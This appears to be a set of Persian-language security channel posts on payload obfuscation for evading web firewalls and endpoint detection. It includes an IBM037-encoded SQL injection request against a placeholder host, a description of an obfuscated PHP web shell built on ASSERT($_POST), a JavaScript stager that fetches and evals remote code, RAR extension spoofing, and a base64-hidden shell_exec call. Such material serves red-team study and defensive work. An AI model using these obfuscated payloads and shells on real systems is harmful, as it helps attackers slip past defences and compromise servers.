#Obfuscation #Shellcode on Exploit
نمونه ای از روش های مبهم سازی پایلود پاورشلی بر بستر یک آسیب پذیری که بر روی زبان جاوا اسکریپت طراحی شده است,

نکته این تصویر این است که درک کردن آسیب پذیری ها و اکسپلویت نویسی برای آنها فقط لازمه یک نفوذ موفق نیست بلکه در خصوص تکنیک های #RedTeam ها هم میبایست یک هکر آگاه باشه تا بتونه Detection ها Logger ها و دیگر مکانیزم های نظارتی رو به اشتباه محاسباتی دچار کنه...

البته مدل های ٍمبهم سازی میتونه بر بستر زبان اسمبلی هم باشه مانند استفاده از الگوریتم های پالیمورفیسم, متامورفیسم , میمیمورفیسم و غیره.....

https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sean_taylor-binary_obfuscation.pdf
@Unk9vvN
#ArvanCloud #WAF Bypass
به نظر میرسه سرویس ابری #ArvanCloud فایروال مناسبی در خصوص شناسایی پیلودهای حتی ساده مانند آسیب پذیری #Cross_Site_Scripting را هم رصد نداره, البته سرویس ابرآروان پلن های مختلفی در خصوص سرویس دهی خودش داره که امکان داره در پلن های سطح بالا مکانیزم های #Detection بهتری رو در اختیار مشتریان خودش قرار بده, در هر صوت فعلا با ساده ترین #Obfuscation های پایلودهای جاوا اسکریپتی دور زده شده....!

https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
@Unk9vvN
#Obfuscation with #Charset_Encoding
محقق ایرانی سروش دلیلی در سال ۲۰۱۶ با رو نمایی از تکنیکی که بر پایه استفاده از کاراکتر ست های متعددی هستش توانست بسیاری از #WAF های قدرتمند را دور بزند, که البته روش استفاده از اینکدینگ های کاراکترستی در هر مدل وبسرور متفاوت است,

لیست برخی از این پشتیبانی ها در تصویر پست مشخص هستش, اما نمونه ای هم در خصوص استفاده از اینکدینگ IBM037:

# Original Request:
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41

id2='union all select * from users--


# Obfuscated Request + URL Encoding:
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/
@Unk9vvN
#PHP_Shell #Obfuscation
یکی از راه حل های همیشگی این مسائل مبهم سازی #Shell هستش, یکی از راه های بسیار جالب مبهم سازی بر بستر زبان #PHP استفاده از پیوست کاراکتری هستش که البته بصورت مستیم نباید انجام بشه, قبل از توضیح کامل دو نکته را به یاد داشته باشید مقدار [] معادل Array میباشد میتوید با دستور زیر خودتان تست کنید,

root@unk9vvn:~# php -r "echo ''.[];"
PHP Notice: Array to string conversion in Command line code on line 1
Arrayroot@unk9vvn:~#

نکته دوم, در تصویر پست به این گونه عمل شده که اول رشته Array را درون متغییرهای پویا ریخته و سپس مقدار 0 رو با استفاده از تکنیک '@'=='!' که چون شرط صحیح درخواهد آمد بدست آوردیم, در مراحل بعدی شروع به پیمایش کاراکتر اول Array که خانه 0 هستش کردیم که معادل حرف A هستش این پیمایش به قدری انجام میشود که به کاراکتر مورد نظر ما برسد, و بدین ترتیب همانطور که در انتهای کد میبینید رشته ()ASSERT و [_]POST_$ را ساخته تا از ویژگی تابع ()ASSERT به عنوان شل استفاده کنیم.

https://gist.github.com/unk9vvn/4d6da81db718e0c9dc65f202480da9f1
@Unk9vvN
#Javascript #Malware #Obfuscation
در بسیاری از حملات #APTs استفاده از Stage های مبهم شده بر بستر زبان هایی مانند Javascript بسیار میتونه در امر Evasion شدن پیلود مفید باشه,

در پیلود تصویر میبینید که چهار دامنه تعریف شده در متغیر x که یک حلقه for کام آبجکت WScript مامور ساخت یک آبجکت از روی MSXML2 میشه برای زدن Requset هایی به وبسایت های تعریف شده و دریافت Response از آنها و بعد از آماده سازی Response مقدار با مقدار متغیر m و نهایتا در تابع ()eval کد دریافتی اجرا شده و مرحله بعد Leteral Movement شرو ع خواهد شد,

دقت بفرمایید که حساسیت استفاده از COM Object ها در فرمت هایی مانند JS بسیار بالاست و این قبیل فرمت ها تحت نظر و برسی خواهند بود اما زمانی که بصورت مبهم سازی شده COM Object ساخته و عملیات مد نظر رو initialize کرده و جالب اینجاست که Stage اصلی از Response دریافت خواهد شد, این نکته بسیار در امر Evasion شدن پیلود موءثر بوده است...


https://medium.com/nodesimplified/obfuscation-what-is-obfuscation-in-javascript-why-obfuscation-is-used-f6a5f5bcf022
@Unk9vvN
#Obfuscation (#RAR with #JPG ext) #RedTeam
یکی از روش هایی که همواره در عملیات های تیم قرمز در سالهای آتی مورد توجه بود تکنیک استفاده از Extension Spoofing بواسطه کاراکتر Letf-to-Right و همچنین استفاده از فایل فرمت SFX که مبتنی بر نرم افزار WinRAR به نوعی عملیات Section Compression رو در فایل فرمت خودش انجام میداد و به روش Stub Decompression مقادیر کمپر شده خودش رو آزاد میکرد، و در کنار این آزاد کردن مواردی رو هم خودش اجرا میکرد مانند: run as administrator یا Extract کردن داده های کمپرس شده در آدرس مشخص شده و همچنین اجرای اون فایل ها...

اما در سال 2018 که تیم تحقیقاتی Unk9vvN دمویی از این تکنیک رو نمایی کرد، همزمان با این رو نمایی یک APT 39 منتسب به ایران هم رخ داد که از همین تکنیک فوق استفاده شده بود، همچنین این تکنیک همونطور که در تصویر دوم مشاهده میشه آن زمان پتانسیل دور زدن EDR و NIDS و AV ها رو داشته و کاملا عملیاتی بوده، البته امروز دیگر این تکنیک لو رفته و کار آمد نیست، برای مشاهده بخشی از این تکنیک میتونید به دمو تولید شده در سال 2019 مراجعه نمایید...

@Unk9vvN
#Obfuscation #PHP
یکی از روش های مبهم سازی کد PHP که کمتر مورد توجه قرار گرفته است صدا زدن توابع به صورت String می باشد. در عکس اول یک کد با همین روش مبهم سازی شده، در این کد shell_exec اول base64 شده و در سه متغیر a، b، c تعریف شده است، در متغیر z این موارد کنار هم قرار گرفته اند و درون متغیر z مقدار c2hlbGxfZXhlYw را دریافت می کنیم که base64 شده تابع shell_exec‌ می باشد. در متغیر f مقدار base64_decode که ما بین آن چندین بار As- تکرار شده، در خط آخر با استفاده از str_replace مقدار As- را از متغیر f‌ حذف می کنیم و نتیجه این کار کد زیر می شود

echo base64_decode($z)("dir");

با decode کردن مقدار z کد تبدیل به شکل زیر می شود

echo "shell_exec"("dir");

این تنها دو نمونه ساده از این نوع مبهم سازی است.

@Unk9vvN